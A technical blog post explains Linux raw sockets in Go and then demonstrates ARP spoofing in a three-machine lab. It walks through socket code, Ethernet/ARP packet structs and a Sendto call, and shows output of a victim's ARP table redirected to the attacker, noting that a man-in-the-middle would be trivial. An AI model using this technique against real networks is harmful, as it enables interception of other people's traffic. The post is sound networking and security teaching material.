Linux offers the capability of raw sockets which allows you to directly create an raw L3/L2 packet bypassing the protocol headers normally generated by OS socket. This means you can generate your own link layer or IP layer packets directly from scratch, a very useful capability for inspecting traffic on your network, or for crafting packets from scratch

Raw sockets can be used on Linux using the socket() syscall by using the SOCK_RAW socket type (this requires the process to have the CAP_NET_RAW capability, or be run as root). Go doesn’t directly support raw sockets through the net package, however, syscalls are available through the syscall package

Let’s whip up a quick program to open a raw socket

package main ; import ( "fmt" "syscall" ) func main () { // Socket is defined as: // func Socket(domain, typ, proto int) (fd int, err error) // Domain specifies the protocol family to be used - this should be AF_PACKET // to indicate we want the low level packet interface // Type specifies the semantics of the socket // Protocol specifies the protocol to use - kept here as ETH_P_ALL to // indicate all protocols over Ethernet fd , err := syscall . Socket ( syscall . AF_PACKET , syscall . SOCK_RAW , syscall . ETH_P_ALL ) if ( err != nil ) { fmt . Println ( "Error: " + err . Error ()) return ; } fmt . Println ( "Obtained fd " , fd ) defer syscall . Close ( fd ) // Do something with fd here }

Not surprisingly, the program fails with an access error

~/etc/gocode/raw$ go build raw.go ~/etc/gocode/raw$ ./raw Error: operation not permitted

There are two options here: run the program as root, or to grant the capability to the executable using setcap:

~/etc/gocode/raw$ sudo setcap cap_net_raw = ep raw ~/etc/gocode/raw$ getcap raw raw = cap_net_raw+ep ~/etc/gocode/raw$ ./raw Obtained fd 3

Using Raw Sockets for Gratuitous ARP requests

The Address Resolution Protocol (ARP) is a request/response protocol used for determining the mapping between IP addresses and link layer (MAC) addresses. Devices use ARP to obtain the MAC address of a device for which they have the IP address, and vice versa

For instance, consider the following exchange: To find the MAC address of 10.10.10.1 , 10.10.10.2 broadcasts an ARP request to all devices. 10.10.10.1 , located at 0a:00:27:00:00:01 responds back with it’s MAC address:

When 10.10.10.2 receives the response, it stores the IP address and it’s associated MAC address for future reference in the ARP table. You can view the contents of the ARP table by examining the contents of /proc/net/arp

~/etc/gocode/raw$ cat /proc/net/arp IP address HW type Flags HW address Mask Device 10.10.10.1 0x1 0x2 0a:00:27:00:00:01 * eth0

ARP is generally used in a request/response manner, with one device requesting for information about a particular IP/MAC. However, there is a class of ARP requests/responses for which a response is not expected: the gratuitous ARP request. Gratuitous ARP requests have many uses, of which particularly interesting is the usecase to announce changes in hardware config: in this case, a device sends a broadcast request packet (or response packet) specifying it’s new IP and MAC address - any devices receiving these requests are expected to update thier ARP table with the updated MAC address. This opens up an interesting avenue of attack known as ARP Spoofing: a locally connected device can easily spoof such a request for another machine with it’s own MAC address, and thus receive all traffic meant for that machine.

Linux by default ignores all gratuitous requests for devices not present in the ARP table, however, it accepts requests for IPs already present in the table, potentially allowing us to redirect traffic meant for a particular IP to any device of out choice

Let’s write a program in Go to utilize raw sockets to send an ARP update to a device connected over Ethernet

Setup

Let’s consider a setup of 3 devices connected in a local LAN: Machine A, located at 10.10.10.1 (the attacker), 10.10.10.2 (the victim) and 10.10.10.3, the original machine to which data is meant to be sent

IP Address MAC Address Machine A 10.10.10.10 0a:00:27:00:00:01 Attacker Machine B 10.10.10.2 08:00:27:e3:ef:0d Victim Machine C 10.10.10.3 08:00:27:88:09:4b

Initially, Machine B can access both A and C, as seen from the ARP table:

[email protected] :~$ ( 10.10.10.3 ) 56 ( 84 ) bytes of data. 64 bytes from 10.10.10.3: icmp_req = 1 ttl = 64 time = 0.786 ms 64 bytes from 10.10.10.3: icmp_req = 2 ttl = 64 time = 2.39 ms 64 bytes from 10.10.10.3: icmp_req = 3 ttl = 64 time = 0.922 ms --- 10.10.10.3 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2005ms rtt min/avg/max/mdev = 0.786/1.367/2.394/0.728 ms [email protected] :~$ type Flags HW address Mask Device 10.10.10.3 0x1 0x2 08:00:27:88:09:4b * eth0 10.10.10.1 0x1 0x2 0a:00:27:00:00:01 * eth0

Crafting the packet

In a raw socket, the packet which we provide will be directly passed as is to the device driver. Hence, we need to wrap our ARP packet in the lower layer protocol frame (here Ethernet) as well

RFC 826 gives us the structure of the packet:

This can easily be represented in a struct in CGo :

typedef struct __attribute__((packed)) { char dest[6]; char sender[6]; uint16_t protocolType; } EthernetHeader; typedef struct __attribute__((packed)) { uint16_t hwType; uint16_t protoType; char hwLen; char protocolLen; uint16_t oper; char SHA[6]; char SPA[4]; char THA[6]; char TPA[4]; } ArpPacket; typedef struct __attribute__((packed)) { EthernetHeader eth; ArpPacket arp; } EthernetArpPacket;

We can fill in all fields of the packet (note that this must be done from CGo, as recommended by the Go wiki ):

Sending the payload

Open the raw socket:

fd , err := syscall . Socket ( syscall . AF_PACKET , syscall . SOCK_RAW , syscall . ETH_P_ALL ) if err != nil { fmt . Println ( "Error: " + err . Error ()) return } fmt . Println ( "Obtained fd " , fd ) defer syscall . Close ( fd )

Allocate and prepare the packet, and use the Sendto syscall to send it to Machine B

packet := C . GoBytes ( unsafe . Pointer ( C . FillRequestPacketFields ( iface_cstr , ip_cstr )), C . int ( size )) var addr syscall . SockaddrLinklayer addr . Protocol = syscall . ETH_P_ARP addr . Ifindex = interf . Index addr . Hatype = syscall . ARPHRD_ETHER // Send the packet err = syscall . Sendto ( fd , packet , 0 , & addr )

After sending the packet, let’s look at Machine B’s ARP table:

[email protected] :~$ type Flags HW address Mask Device 10.10.10.3 0x1 0x2 0a:00:27:00:00:01 * eth0 10.10.10.1 0x1 0x2 0a:00:27:00:00:01 * eth0 [email protected] :~$ ( 10.10.10.3 ) 56 ( 84 ) bytes of data. From 10.10.10.1: icmp_seq = 2 Redirect Host ( New nexthop: 10.10.10.3 ) From 10.10.10.1: icmp_seq = 3 Redirect Host ( New nexthop: 10.10.10.3 ) From 10.10.10.1: icmp_seq = 4 Redirect Host ( New nexthop: 10.10.10.3 ) From 10.10.10.1: icmp_seq = 5 Redirect Host ( New nexthop: 10.10.10.3 ) From 10.10.10.1: icmp_seq = 6 Redirect Host ( New nexthop: 10.10.10.3 ) From 10.10.10.1: icmp_seq = 8 Redirect Host ( New nexthop: 10.10.10.3 ) 64 bytes from 10.10.10.3: icmp_req = 9 ttl = 64 time = 0.147 ms 64 bytes from 10.10.10.3: icmp_req = 10 ttl = 64 time = 3.94 ms

Success! We can see that we have successfully bamboozled Machine B to believe that Machine A has changed it’s location - we can see that Machine A (10.10.10.1) is actually receiving packets meant for Machine C (10.10.10.3):

In this case, we don’t handle the packets received at Machine A originally meant for Machine C, hence it keeps on responding with a ICMP redirect till Machine B finally resends an ARP request for Machine C. However, it would be quite trivial to respond to the packets, or even perform some kind of man-in-the-middle attack

The entire program is shared here